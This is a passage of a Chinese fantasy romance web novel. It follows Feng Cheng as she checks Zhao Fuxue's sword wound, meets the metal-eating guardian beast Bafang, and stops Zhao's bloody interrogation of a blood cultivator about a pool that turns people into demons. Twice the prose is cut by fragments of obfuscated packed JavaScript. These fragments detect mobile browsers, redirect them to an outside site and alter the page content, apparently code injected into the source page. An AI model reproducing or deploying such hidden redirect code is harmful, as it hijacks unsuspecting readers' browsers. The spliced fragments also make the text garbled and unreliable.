他身上月白的寝衣随着他坐起身的动作而有些滑下,赵负雪却浑然不觉似的:“只是昨日那一番动作,勾起了在古安的旧伤,祖母令我闭关,也借此养一养了。” 古安那男鬼始终是她心口的一道刺。封澄本存的看好戏之心登时烟消云散了。 她有些焦急地上来,抬手便要扯开赵负雪的胸口。不料还未扯出那道狰狞的伤口,这番动作倒是把赵负雪给吓得有些脸红了,他一把抓住封澄的手,呼吸略有急促道:“你……你先等等。” 她抬起眼来,才察觉到这个动作的微妙之处。 孤男寡女,共处一室,一个靠在榻上衣服半敞敞,另一个一半身子都压了过去,还扒着人家胸口不撒手。 好一副登徒子登堂入室的模样。 不过此时若是真退了,反倒是坐实了登徒子的名号,封澄不管不顾地上去:“等什么等,我又不是做什么伤天害理的事,看个伤难道还要等你排个黄道吉日吗?” 赵负雪果然挂不住他的衣服了,月白衣襟被封澄毫不留情地扯到一旁去,赵负雪略有无奈地倚在床头,露出了胸前那道隐隐渗血的伤口。 即便是知道赵家人极为强悍的生命力,即便是知道这道穿胸之伤对赵负雪算不了什么,封澄的心还是揪紧了。 她不由自主地伸手抚上去,检查道:“还好,不严重。” 她的呼吸打着圈儿,轻轻地扑在他的胸口。 赵负雪垂眸看着伏在胸口的封澄,心中忽然便失了智。 “她知道自己在做什么吗?她不知道我的心意吗?”赵负雪心中不知为何升起了莫名的怒意,“她是没有半点儿警觉之心吗?” 这道伤却将封澄的记忆唤出来了。 她微微垂下眼睛。 这伤口毫无疑问,就是见素的剑痕,封澄一再确认——她不会认错赵负雪的剑。 那么这事情便奇怪了,赵负雪被那男鬼所伤,结果伤口却是他自己的佩剑。 可赵负雪被她拉出来时,手上明明握着见素,事发突然,那男鬼也不会好心到捅了他一剑,再把配剑还他。 这么一想,竟然只有一个解释了。 男鬼也有一把见素。 一想起那世上罕有的悍然灵力,封澄的心底贸然而起了一个绝不美妙的猜测。 这猜测自打从古安回来,便被她强行抑在心底,绝不肯多想一丝。 时至如今,也是这样。 她垂眸,指尖轻柔地落在伤口上,不动声色道:“这剑上有寒气,你伤口不愈,或许是这寒气的缘故,养伤要慢慢养,不急在这一时。” 赵负雪被她摸得心乱如麻,竟没听出这句话的半点儿不对,见封澄收手,他也回神道:“崔家的事如何了?” 封澄敛眸,眼底 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接着,封澄又笑了笑:“听年院长那里说,崔霁闹得要死要活,非要参进天机军里去,无论是崔家拦还是他爹娘拦,都拦不住他——他爹是助他此次逃出的大功臣,断了一根腿,都要拎着拐杖子打他,还是劝不住。” 赵负雪静静地听着,在封澄说到天机军时,他敏锐地觉察到了封澄若有若无的笑意。 “你……”他想了想,转了个弯,“觉得崔霁进天机军如何?” 封澄还真认真想了:“年轻莽撞了些,毕竟天机军直面魔族,并不是一个连结业考核都通不过的天机师适合去的地方。” 赵负雪等着她接着向下说,果然,封澄又笑了,身上透出一股前所未有的松快之意:“不过年轻人想要历练,去长煌大原吃两年风,倒也不坏。” “从人间走到沙场的人,心底大概都有什么东西想要护着。” “天机军要紧的,就是这个‘护着’,至于本事如何,灵力如何,其余如何,统统不如这个东西要紧。” “如果崔霁要投军,我并不意外。” 赵负雪专注地看着封澄,屋中清甜的花香气一时间荡然无存。 她穿着一身软绵绵的鹅黄外裳,这个颜色柔和,谁穿都无害,头发被哪个侍从梳成了精妙繁杂的款式,赵负雪总觉得似乎在哪群贵女的头上看见过。 封澄长得好看,年纪又小,垂着眼睛乖乖坐着,看着便像是京城里不谙世事的少女——还是被父母娇惯在手心里长大的那种。 可她说起这些话时,他却觉得这副少女的躯壳下,栖息着万里黄沙。 那是魔与人的交界之地,长煌大原每一寸的荒原,都被人或者魔的血染透。 旁人说起来长煌大原以及它背后所代替的天魔来,不是愤愤便是怯怯,哪怕是最为顽强的天机师初入长煌,也不免要被其骇伤几日。 而她平淡无比,心平气和。 就像是身经百战的将军。 45. 第 45 章 封澄说着说着,便有些困了,她发觉在赵负雪身边时,她总是分外容易睡着。 赵负雪不动声色道:“困了吗?” 封澄打了个哈欠:“不妨事,出去吹吹风就好了。” 赵负雪轻轻偏了偏头:“困了,不要硬撑。我院中有屋子,干净,从没人去睡过,你去打个盹。” 他不说话还好,一说话,封澄更困了,她索性站起身来,勉强抵抗睡意的侵袭。 说来诡异,她当年行军夜袭,几天几夜不合眼的时候也有,可从未像在赵负雪身边这样困过。自从修血道后,她几乎连睡眠都不需要了,一日睡上一两个时辰,便能活蹦乱跳忙碌一整天。 他好像一味专对她生效的安眠香,少年时头痛失眠,什么药都不管用,她便攀上师尊的屋顶,即便是在砖瓦上夜风中,她也能睡得安然。 不过此时日头高照,绝不是睡觉的时候,封澄活动活动,和赵负雪告辞。 “前些日子护国大兽的‘口粮’被崔庆扣着,现下崔庆伏诛,也是该办正事的时候了。可惜了,如果赵公子身体康泰些,便能和我一起去押送口粮了。” 不过看了看赵负雪身上的伤和雪白的脸色,封澄还是笑了:“开个玩笑,你好好休息,晚些我再来看你。” 说罢,封澄转身便走了,听着门合上的声音,赵负雪的眼底霎时有些幽深。 他的手抚上胸口的伤。 片刻,那伤口又沁出灼目的红。 他却浑然觉不到痛一般,待又愈合的伤口被撕裂,他才站起身来,粗粗将伤口一包,随即起身,披袍提剑,向门口走去。 门口侍从见赵负雪出来,司空见惯一般,恭敬又沉稳道:“赵公子,齐遥已被提到了赵府,老尊者吩咐,只要他舌头是全的就行。” 赵负雪冷冷地踏出门,目光中是沉静如水的杀意:“去回老尊者——我尽量。” 封澄刚走出赵负雪的院子,先前的沉沉困意便一扫而空了,此时此刻,她哈欠也不想打了,眼皮也支棱起来了,浑身上下的精神仿佛才灌下去三百碗浓茶,几乎能提着枪把洛京杀个七进七出。 本来押送口粮的活是赵负雪去做的,封澄本不欲插手这等家事,可周寻芳对她明说,押送口粮,便能亲眼见一见护国之兽,如若将其伺候高兴了,兴许还能摸一摸。 封澄那一颗动物之友的心可耻地萌动了。 她搓了搓手,心痒难耐:“说来我还不知道这大兽是圆是扁,从前只听传说,可偏生从未见它醒来,这个机缘不凡,不去的不是人啊。” 可还没等她高兴多久,那几车护国大兽的口粮便被拖了出来。 封澄看了看,登时笑不出来了。 她拉着为首的赵家修士,难以置信道:“劳驾,诸位真的没有拿错东西吗?真的没有把补充到赵家兵器库中的武器拖过来吗?” 从赵家正门到崔家大门,停着一波又一波的车,皆由乌黑油亮的大青牛所拉,车上的东西垒得结实,在日光的照射下熠熠生辉。 是的,赵家拉来的口粮,全部是上好的兵器,全部是被打磨得熠熠生辉的金属。 封澄一时之间错乱了,她的脑海中关于镇国大兽的模样来回破碎——这实在令人难以想象,是什么样子的生灵,才会一车一车地吃金属? 怪不得口粮要由崔家准备——除了崔家那个金砖贴墙的家底,谁能供得起它这么吃饭? 赵家侍从道:“并未带错,今日崔家送来兵器共一百余车,皆是开过刃的——这便是护国大兽的口粮了。” 他道:“我等只能将口粮送至禁地外,不得入内,还请姑娘引青牛入禁地,喂大兽口粮吧。” 封澄凌乱地接过了头牛的缰绳,那青牛颇为乖觉,不用多么狠拉,便顺着她的脚步跟了过来,身后一串的牛也随着头牛的步子跟过来,头牛走得极为稳健,一步一个脚印,封澄不由得走了神:“话说赵家的牛也随赵家的人吗?怎么看起来眉清目秀,还带着股气定神闲的样子?” 禁地居于赵府深处,赵府依山而建,前临长街,后有清幽,清幽易得,闹中取静却不易得,封澄带着牛,越往里走,越是咂舌。 京城寸土寸金,一个破民宅便能要了她不知多少年的俸禄,她一边领着天机院的补贴,一边领着朝廷的俸禄,两份收入,却还是得勒紧裤腰带买房。 而赵家这帮丧尽天良的家伙。 ——在寸土寸金的洛京搞了一排山。 封澄磨了磨牙,久违地仇富了。 幽静之处,更有更幽之地,越走,越是昏暗,不知何时风起,吹起了一地残碎竹叶,摇动了林中之竹,竟让她在这七月盛夏里感到了一丝寒意,封澄抬头看着篆刻着“禁地”的石碑沉默了:“……” 竹林内似乎有嚓嚓之声,似乎是什么动物在咀嚼东西,封澄吞了吞口水,心道:“这动静不妙,莫不是这护国大兽饿得狠了,开始逮人吃了?” 偏生此时,那一路乖顺的青牛昂起头,发出了一声悠长的:“哞——” 封澄的心跳随着林中的咀嚼声一道停止了。 忽闻地内一阵地动,随即便是山林呼啸、群山倾倒的动静,封澄见事不妙,心中大骂周寻芳坑人,抬手便一挥,露出了掌心长枪。长枪出手的刹那,便是一道漆黑庞大的影子闪电似的向她袭来,一道利爪陡然便向她面门击来,封澄举枪相抗,二者击出了清脆的金属之声。 那黑影疑惑一声——封澄诡异地在它的动静里听出了疑惑的意味,然后抬口便咬,谁知一口咬下,只听铛地一声,却不见封澄断枪,封澄收枪为血,又化血为枪,随即反手落枪,铛地一声,劈向了那黑影的脑壳。 一人一兽过招,短短瞬息,几次交锋,皆不见对方落败之色,反而激得禁地竹叶飘零、石块飞散、尘土飘零,哪里还有半分清幽气味? 此时此刻,只有那一头端庄的青牛,老神在在地享用着不知道哪个胃袋里的反刍。 护国大兽不动用分毫灵力,只用体术与她搏斗,封澄只见它身法极快,力道极大,且好似源源不尽一样消耗不绝,她许久未碰到与自己体术相当的对手,封澄越打,眼睛越亮。 几番交锋,她也看清了大兽的样子,出乎她意外的,这并不是什么奇形怪状的怪兽,而是一只活生生的动物。 它的样子十分威武,周身漆黑,身覆坚甲,与麒麟样子相似,只是眼圈通黑,仿佛被什么捣了两拳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729863|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 战至此处,封澄心底竟生了几分结交之意,那大兽见她饶有兴味,不知为何,竟然停手了。 它身体一晃,一个假招,虚晃一枪,便窜身落到了青牛身后,低头便叼走了漏在最外的一杆长枪,咔擦咔擦地嚼了起来,看起来是不想打了。 封澄好奇地走近,道:“您便是护国大兽本兽吗?” 大兽瞥了她一眼,转身便又大吃大嚼起来,封澄眼尖地发现,它似乎对长枪情有独钟,一车的兵器,只挑露出来的长枪吃。 她心中好笑,继续道:“赵公子身体抱恙,今日来不了,所以老尊者便派我来了,冒犯到兽大人非我本愿,还请兽大人恕罪了。” 它偏过头,旁若无人地继续吃,好似听不懂人话。 封澄挑了挑眉,忽然越过它,径直走向身后的一群牛,一杆一杆地将车上的长枪都取了下来,护国大兽又偏过头,停下了咀嚼的嘴,看着她的动作。 看样子,封澄是打算把长枪全部取来赔罪了,大兽昂起头,不动声色地等待着封澄靠近。 谁料封澄取了枪来,竟轻巧地使了个踢枪,那枪好似长了眼,竟然嚓地一下,向它扎了过来! 大兽飞快一闪,目瞪口呆。 她如法炮制,一杆一杆的枪飞了出去,大兽眼看着群枪飞来,当即叫道:“你玩不过就耍赖啊?!” 封澄瞥了它一眼:“大人,做兽呢,要有做兽的样子,开口说话这事太诡异了。” 护国大兽咬牙瞪她,一杆枪恰好扎在它眼前,枪杆由且颤抖不绝:“天上天下,古往今来,开了灵智的神兽只我一个,我会说话有什么奇怪的!不就是一会儿没说话么,你至于这么小心眼。” 封澄站起身来,心中却是奇怪。 这护国大兽她从前也听说过,听说是最为神圣、凛然不可犯的战兽,为大夏王朝护国之兽,哪怕皇家那群人没几个正经修士,可就凭这镇国兽站在皇族身后,这皇权皇位便是稳的。 此时此刻,这大兽在她面前,又是跳脚又是耍赖,虽勉强端着一副大兽的威严,可观这模样,她竟觉得这大兽在与她玩耍。 这就奇了怪了,她何德何能,能让大兽一碰到她便清澈纯良起来? 于是封澄想了想,试探道:“你我,从前认识吗?” 大兽挑着眼前的枪开始吃,口齿不清道:“不认识。” 不认识? 封澄此时不是奇怪,而是活见鬼了:“大人真是平易近人。” 大兽一边嚼着,一边瞥了她一眼,似乎非常满意封澄此时的表情。 封澄便等着它一车一车地吃。 它从日上三竿吃到夕阳西落,又从夕阳西落吃到月至中天,地上铺着一层铁屑,封澄耳边的咀嚼声响了一日。 终于,它看着始终盯紧它的封澄,开口了。 “你很耐心。” 封澄偏了偏头:“没有得到我想要的答案,我不会走的。” 大兽看着她,一双兽瞳里映着她的脸。 她专注地看着它。 刹那间,大兽便知道了。 封澄是带着答案来问的。 “不算认识,”它终于笑了笑,“只是见过。” 46. 第 46 章 夜已深了,月至中天,四周已变得很静了,地上的铁屑皎白,仿佛落了一地的霜。 封澄能听到自己的心跳声,疑问得到确认的这一刻,她却笑不出来。 手脚逐渐发麻,心跳越跳越烈,疑问几乎要从她口中冲出来。 今时是天征四年七月十八日,按她前世的年纪来算,这一年她还没出生。 那么这寿命悠长的护国大兽,是如何在很久之前,就见过她的? 封澄还待再问,不料护国大兽踩着一地银霜似的铁屑,擦过她的肩膀,懒洋洋地向禁地深处走去:“不要再问了,再问我也不会说的,你有要问的问题,我也有要交代的人,同你说多了,我怎么交代。” 它的身影渐渐隐没在了漆黑的禁地中,封澄怔然立在原地,四周冷风萧萧,她握着青牛的缰绳,心底忽然茫然了。 想也不想地,封澄扬声道:“告诉我你的名字!” 少女的声音在禁地回荡,回声一波一波地荡出去,许久许久,久得封澄以为没有兽会回答时,禁地深处悠悠传来了一声:“从前之人,称我为八方。” 八方。 封澄将这个名字记诵在心底,暗暗念了几遍,随即转头,牵起青牛,头也不回地向外走去。 她笃定,将来一日,她还会再和八方打交道的。 为什么寿命悠久的神兽,会说在很久之前,就见过她了? 是相貌相似?是转世投胎?还是说像她这次重生一样,死了之后,又另跑到更久之前的往世了? 她心事重重地走出了禁地,一抬眼,忽然想起来什么,暗叫一声完蛋。 今日去看赵负雪时,与他说了要晚些再去看他,可谁知在大兽这里拖了这么久,现下看看月色,当是丑时左右了。 这个时候,别说一贯早眠的赵负雪,就连她也该睡了。 “不如今天就放他个鸽子?”封澄心中嘀咕,“反正此时他也睡了,我深更半夜过去,扰了他清净不好,不如明日再给他赔罪吧。” 可万一赵负雪等着她怎么办?封澄纠结片刻,还是走向了赵负雪的院落。 若放在古安时候,封澄是不会觉得深夜跑到赵负雪的屋子里是件多么冒昧的事的,大不了就是个负雪亦未寝,急头白脸吵他起来,不过见一张带气的俊脸,挨一顿不痛不痒的数落。 可偏生前几日,这糊涂种子说了一堆莫名其妙的话。 于是她站在他的门前,却下不去手敲他这个门了。 封澄咬了咬牙,纠结片刻,心道:“去他丫的,前怕狼后怕虎,封大将军何时孬种至此了?!” 她抬起手来,轻轻叩了叩窗棂,道:“赵公子,你睡了吗?” 屋内寂静无声。 难道是睡了? 封澄莫名觉得心中不对劲。 赵负雪的院子不要人夜间伺候,只有院外几个守夜的护卫,她左右看了看,索性一不做二不休,抬手便推了门,提步进去道:“赵公子,我进来啦?” 回答她的是一屋的寂静,漆黑一片,没有呼吸声,也没有赵负雪身上的冷香气。 封澄走到他的榻前,看着整洁且一丝不苟的床榻,皱了皱眉。 *** 今日见血,白衣不宜。 牢中黑火摇曳,赵负雪的脸半隐在阴影中,令人看不清他眼中情绪。 他穿着一身漆黑劲装,一头墨发被一根同色发带高高束起,露出了一双剑眉,以及剑眉下沉水似的双目。 更为刺眼的,是他面前的人。 那人早已看不出人形来,周身皆是新鲜血痕,按理说常人受此千刀万剐早该死了,可细看他伤痕,却发觉这伤刃刃剜足,却不致死,可见执刑之人手法高明。 这种时候,无论谁看到执刑的赵负雪,都说不出一句“君子如玉”来。 他的锋利,他那居高临下、目中无情的睥睨与傲气,在这身黑衣之下越发灼目,几乎锐利得能刺伤人。 侍从将一张座椅摆在了齐遥面前,赵负雪不紧不慢地坐了,他盯着挂在刑架上的齐遥,缓声道:“只凭你平日罪状,便足够送你去见阎王,此时老尊者给你条活路,把你知道的说出来,饶你不死。” 齐遥挨了赵负雪的重手,此时连眼都睁不开了,他勉力撑起一条细缝,呵呵冷笑道:“没曾想赵公子看着文雅,下起手来,却比我们这些血修还狠。” 赵负雪眉心不动,抬起食指,只听一声剑啸,又是当口一剑。 齐遥偏开头,半晌,他终于忍耐不住,道:“你想知道什么。” 赵负雪停手,道:“你的香料是从哪来的。” 齐遥闻言,竟哈哈大笑起来:“赵公子,这话我若是说出来,下场连落在你手里都不如,还不如多挨你几刀,死了了事。” 他慢慢道:“敢杀赵家放出来的人,倒是胆子不小。” 黑吃黑?倒不像,越是这些散漫不成派别的血修,越是怕碰上赵家这等秩序森然的庞然大物,公然杀了赵家审讯出来的人证,几乎等同于对赵家挑衅。 一帮溃不成军的血修,几队赵家修士出手,便灭得差不多了。 他眼神暗了暗,心底有些不一样的猜测。 这么想着,齐遥也觑着他神色笑了:“我可什么都没说,赵公子,你乱猜的,莫要怪我。” 赵负雪冷冷道:“血池是做什么的。” 齐遥挑了挑眉——他眉毛上淋着血,挑得分外吃力:“赵公子,此时血池里的人都死绝了,再问这,可有意思?” 他又继续道:“总之呢,血池里的所得,我一口也没吃到,便被你们连锅端了。既然我没吃着这个罪果,你们又何必审讯我的罪因呢?” 这番恬不知耻之言,一旁的侍从绷不住表情,当场道:“岂有此理,救人是封姑娘做的,又不是你良心发现把人放了——你好不要脸!” 一听到说起封澄,赵负雪的眉微微松了松。 不知她忙完后,什么时候来找他? 他一想起封澄,心口便又软又酸,此时此刻,竟微微有些走神了。 牢里血气熏人,肮脏不堪,他得趁着封澄到访前沐浴更衣,再将屋子里拿熏香熏个遍才好。 赵负雪这般想着,目光中又不自觉地透出了些明亮的笑意,这笑意将他面上阴鸷一扫而空,竟活脱脱一副怀春少年模样,若不是他身旁利刃鲜血未干,齐遥还以为这是哪个天机院的生徒。 齐遥看在眼里,肿胀的双眼都瞪大了,半晌,他心底憋着一股气,突然呵呵道:“这血池的用途嘛,也不是不能和公子说。” 赵负雪眼神一暗:“那还废话什么。” 齐遥看 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“不如这样,与其便宜了她,不如你分我一根指骨,我什么都与你说了,如何?” 赵负雪抬起食指,一道剑啸,血线飙出——他齐齐斩断了齐遥的食指骨。 “说有用的。” 齐遥痛嚎不已,赵负雪为了不让他失血而死,从来只是在皮肉上作功夫,根本没动过他的要害,他缓了片刻,吃力道:“可是,赵公子,你知道吗?血修,是有极限的。” 赵负雪神色不变,眼睛半抬,面无表情地看着他。 “人,只有吃人,才能成为人上人,”齐遥口中发出冷嘶声,他食指并未止血,血液流失的速度比他想象得快,“可即便是,吃成了人上人,也始终只是,人,而已。” 既然是人,那便有肉体凡胎的极限,血修急快修行、凶横力量的背后,却是封在头顶的、人的极限。 因为修道灵源皆为人之血肉,故血修抢夺他人之物,并无本身道心,所以血修至死,也无法触摸到各道集大成者的极限。 他却笑了:“可这时候,血修们便有疑问了,如果说人的极限可见,那么换个样子……魔呢?” “魔的极限,在哪里呢?” 赵负雪猛地攥住了椅子的把手,那精钢一样的把手陡然碎成齑粉,“你说什么?!” 齐遥大笑:“如果把人的浑身血液换成魔的,如果把人的周身骨骼换成魔的,再把人的遍体经脉换成魔的,那么人与魔,还有什么区别呢?” “诸位不是想知道那血池做什么的,我便说了,”齐遥盯着赵负雪骤然惨白的脸,眼睛闪闪发亮道:“除活血,碎骨骼,断经脉,那血池便是成魔之路,可惜没一个人挨得住,试了多少人都不行——喏,里面的人,都是这么死的。” “化魔身,去吃魔族的血修,真的会有极限吗?”他说起来无比向往,“血池还会有的,绝不止崔府这一处。” 赵负雪的牙咯地一咬,随即杀气震天,腰间见素霎时出鞘,径直向齐遥胸口刺去,一旁侍从肝胆俱裂,不知是那句话戳中了赵负雪的心肝:“公子,公子!老尊者吩咐要留他舌头的,莫要贸然动气啊!” 赵负雪双目赤红,手背上爆出青筋,他森然道:“给我,闪开。” 47. 第 47 章 封澄还是从周寻芳的口中得到了赵负雪的去向,她一得到消息,连告辞也来不及说一句,飞也似地关门跑了,周寻芳躺在榻上,看着她飞奔出去的身影,一时有些哑然失笑。 此时此刻,周寻芳穿着寝衣,半倚在榻上,头上缠着抹额,像个寻常人家的老祖母。 她偏偏头,对着一旁前来议事的赵年,轻声道:“这丫头,和他祖父性子像,对不对。” 赵年看着膝上账目,沉默片刻,道:“比老家主更不守规矩些。” 周寻芳想到那禁地一日的喧闹,一时间笑纹更深了。 夜风从封澄的双颊刮过,掀起她墨似的漆黑长发,封澄脚不沾地,双目喷火,几乎破口大骂。 赵负雪嘴严如此,提审血修这种事,竟半句口风不露。 晨起还卧病在床奄奄一息呢,她一走,竟然就这么突然变脸,雄赳赳气昂昂地下地牢了! 怎么年纪时候,就这么爱演呢! 还没等她骂完,一股腾然剑气便从南方一刺而出,径直撕裂了半片夜空,她抬头一看,心中暗道一声不妙,这剑气杀意横生,寒意逼人,乃是赵负雪的剑气! 封澄奔来地牢,脚尖方触到地上,数位看守举剑便要拦:“封姑娘,赵公子吩咐,谁都不许入内。” 十九把剑寒光闪闪,照得封澄愈发心焦,此时缠斗定然耽误。 陡然间,地牢中却蹿出一个灰扑扑的修士,其人灰头土脸,样子却颇为面熟,像是常在赵负雪左右,他面色灰白,抬头见到剑拔弩张的双方时,眼睛却唰地亮了:“拦拦拦,就知道拦,这个不准拦!封姑娘!公子忽然有些不对,求您去救他!” **** 齐遥一怔,虽然不明白,但看到赵负雪这般失态,也不由得哈哈大笑起来:“奇了怪了,我哪句说到你痛处了?你说出来,也让我别白挨了这些打,高兴高兴。” 赵负雪的目光中已然全是寒色。 他咬着牙,一字一顿道:“你们这群彻头彻尾的畜生。” 赵负雪的脑中闪过的,却是封澄的脸。 额上半只巨角,面色鳞片横生,两只手巨大锋利,爪尖有混着血的雨珠垂下。 怪物谨慎地站在他三尺之外,一双含笑的眼睛上覆着坚硬的鳞片。 她不安又忐忑,看向他的眼神小心又悲伤。 古安的雨夜阴沉,暴雨如注,石头大的雨点淋到她的长发上,转瞬便被她过高的体温所蒸腾。 赵负雪清楚地听到,在那一刻,他所谓的剑心与道心,坚守的大义与正道,悄悄碎成齑粉。 他不知被哪路鬼魅迷惑,轻而易举地背叛了平生大道,决然成为那只魔的共犯。 难受吗? 想必是难受的,除血,碎骨,断经脉。 每一件都是酷刑。 他闭目,周身剑气尖声啸叫,咆哮刺耳。 雪亮剑光照得阴森地牢一片惨白,那升腾的黑火似乎都挂上了白霜,忽然间,赵负雪身后传来一道怒喝,随即便是一杆熟悉无比的枪当空刺来:“赵负雪,杀了人证,难道你去金銮殿上作证吗?!” 赵负雪反手接招,猛地一怔。 封澄一见赵负雪这副眉眼挂霜的模样,登时气不打一处来,她一枪断了赵负雪的剑招,又反手拦在了他与齐遥面前,怒道:“有什么事非要你这般动用灵力?你身上有伤,即便再审不来,也要稍微顾及一下自己!” 赵负雪怔怔看着她。 封澄觉得赵负雪的眼神有些怪——虽然平日里他的眼神就够怪了,但不知是地牢阴森的缘故还是什么,他的眼神更怪了。 她心底嘀咕:“这个表情,怎么看起来,像是要哭了。” 二人面面相对,沉默无语,一旁齐遥越发觉得这气氛诡异,忍不住挣得铁链哗哗作响,怒道:“又是你!怎么哪儿都有你!” 封澄回过神来,回头瞥了他一眼,目光不善:“看着软塌塌一个人,竟然嘴这么硬。” 嘴硬得把赵负雪气哭了,她是真心不爽。 想了想,封澄狡黠地眨了眨眼:“齐——齐遥是吧?听说你往家中寄了钱?” 齐遥肿胀的眼霎时警惕起来:“你什么意思。” 他无父无母孑然一身,心中所念,唯有五十八房貌美姬妾,个个都站在他心尖尖上,她们的花用都是洗干净过了明路的,绝不会有人发现她们的! 封澄笑了:“没什么意思,就是方才无意听赵院长算了几笔崔家的烂账——就这么说,谁给你洗的账啊,茅厕教出来的帐房先生吧?” 她当年抓的那个私吞军费的叛徒可比他洗得干净,至少不会出现恭房马桶支出黄金六百两、爱犬丧仪礼钱黄金三千两这种离谱东西。 齐遥的脸霎时一片惨白,他心底清楚,账目一出,顺藤摸瓜找到他宅院只是时间问题:“等等,你们这群没有心肝的人!!我该说的都说了!” 封澄见赵负雪这副眼圈红红的样,半点不信齐遥的话:“你招了还能给他气成这样!少放花屁,早点招了都好过,咱们血修的手段上不得台面,他赵家干不了的事,我能干。” 说着,封澄一拉赵负雪肩头,作势就要离开。 赵负雪看着封澄风风火火地闯进来,毫不犹豫将他一顿揍,又条理清晰地把那齐遥气了个倒仰,仿佛给他出气似的,狡黠得像个打了胜仗的狐狸。 封澄是个奇怪的人,赵负雪目不转睛地看着她。 她令心痛这件事,都变得甘之如饴。 齐遥在后面怄得要吐血:“回来,你给我滚回来!” 封澄一回头,还想再呛两句,谁料身后齐遥气急了眼,大吼一声,只见前胸斑斑伤痕处猛地起了一层鳞片,随后铁链在他骤然有力的身体下发出了不堪重负的噼啪声,赵负雪想也不想,提剑便拦在封澄面前——这齐遥竟也是入过血池的人! 封澄一番激将,竟逼出他这样的底牌。 魔气陡然地冲向封赵二人,不料还未等赵负雪反击,齐遥的魔气却像是熄了火的屁一般,悄然无声地散去了。 这转瞬的化魔也未能挣开捆着齐遥的铁链,他仿佛燃尽的柴火般,颓然垂下了头,昏迷过去,露在外的四肢焦黑,散出一阵一阵的黑烟。 入过血池,但没入成,这魔气的纯度,充其量是进血池换了俩指甲盖。 他微微松了一口气,一回头,正要对封澄道一句无事,谁料封澄眼睛睁得大大的,踉跄两步,竟然一弯腰,吐出了一口血! 赵负雪陡然魂飞天外,他的瞳孔剧烈紧缩,仿佛心跳停了一般,当机立断地,他一把便要抄起封澄来,谁料封澄吐出两口血来,却轻轻地按住了赵负雪的手。 “先别声张,”封澄声音有些哑,“不妨事,带我回客栈——温不戒的药在那里。” 不声张也是有理由的,这魔气杀机不行,微弱得像娘胎里的天魔,都不用晕,吐两口血就清醒了。 赵负雪却觉得封澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743065|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上有些热,他摸了摸封澄额头,皱眉不已:“有些发热,留在赵家,我寻最好的医师来为你看看。” 封澄抓着赵负雪的手更紧了,她狠狠摇了摇头,心道若是寻赵家的医师来,那咒铁定会被捅露给赵负雪。 寻施咒之人如大海捞针。 她早生私心——赵负雪绝不能知晓任何。 总归也是死不了的,她只恨齐遥那损种看着菜包一个,结果最后搞出这膈应人的屁事来,放了个闹着玩似的的魔气,只坑惨了她。 她觉得有些昏沉,渐渐看人有些重影,于是她咬牙道:“若你家神医瞧出我不是人来,我这日子还过不过了,赵公子,少横生枝节了。” 赵负雪微微垂了垂眼睛。 “不是人就不是人,”他慢慢道,“你即便是王八也没关系,我站在你这这边,你是什么,我就是什么,看谁敢说话。” 封澄一口血登时噎在胸口。 她难以置信地抬头看着赵负雪,目瞪口呆。 赵负雪垂眸,好似方才那番话再平常不过一样,他小心地把沾了血的外裳脱下,认真地弯腰,要把封澄抄起来:“走。” 封澄几个挣扎,将自己从赵负雪的怀中拯救出来,顶着满脑昏胀,飞快地蹿出地牢,半空中只有封澄的悠悠回音:“不不不,赵公子,一起当王八这种美事,我就不掺和了!” 她方才还莫名吐了两口血,转眼便生龙活虎地跑了,赵负雪无奈摇了摇头,走出地牢,在众侍从目瞪口呆的表情中拿走备好的雪白外裳,冷静地穿起来。 “讳疾忌医……不像,怕麻烦……更不像,”赵负雪心中微微发沉,“偏生不肯看医师,必有蹊跷。” 她若不愿看医师,哪怕神仙来了也按不住她,赵负雪想了想,还是微微叹了口气,转身向着封澄栖身的客栈掠去。 总归今夜,先看着她吃了药才好。 她栖身的客栈离赵府并不远,老板见赵负雪前来,凑上前道:“赵公子,姑娘方才进去,说若是您来了,就说她已吃过药了……” 封澄这个毫不用心的骗子。 赵负雪轻微磨了磨牙,抬手解下腰间佩玉,丢给老板:“这会儿功夫,药炉都沸不得……你只说拦了,没拦住。” 老板不敢吱声,诺诺退下。 赵负雪轻车熟路地找到了封澄的房间前,敲了敲门,道:“即便着急,也要吃药。” 屋内一片寂静。 这个时候,封澄不会睡的,且她也不会装作没听见,赵负雪心中暗暗转了几圈,打定主意,一把推开了门。 屋内是暗的。 赵负雪的心登时揪紧了,他慢慢地走向昏暗的屋子中,屋内一片黑暗,不燃丝毫灯火。 唯有浴房内,隐隐透出半分光亮。 并未听闻老板说她要水洗浴。 赵负雪又皱眉了——她泡的冷水? 想也不想地,他轻轻敲了敲浴房的门,轻声道:“我去叫桶热水来,你且出来,不要洗冷水。” 回答他的是一片寂静。 半晌,他听到了浴房内扑通一声,似乎是什么人摔倒在地,紧接着便是封澄熟悉的声音,她口中不知说着些什么,赵负雪当机立断,抬手便撕下衣摆,蒙住眼睛,推门道:“得罪了,我回头向你赔罪。” 浴房的门却陡然开了。 紧接着一只高热的手伸出来,一把抓住他领子,赵负雪猝不及防,被狠狠地甩在了冰冷的浴池里。 48. 第 48 章 来顺客栈乃是在洛京开了几十年的老客栈,平日里客人络绎不绝、竞相夸赞,原因自然不是它那气冲云霄的房费。 浴池很大,天字上房的浴池更大,宽敞得几乎能放几个人一同进去,赵负雪单腿支在水中,狼狈地抹了一把脸。 面上白布已被水洇透,遮挡作用已近乎于无,透过这薄薄白布,赵负雪隐隐约约看见封澄向他走来,穿着完整,并未脱衣。 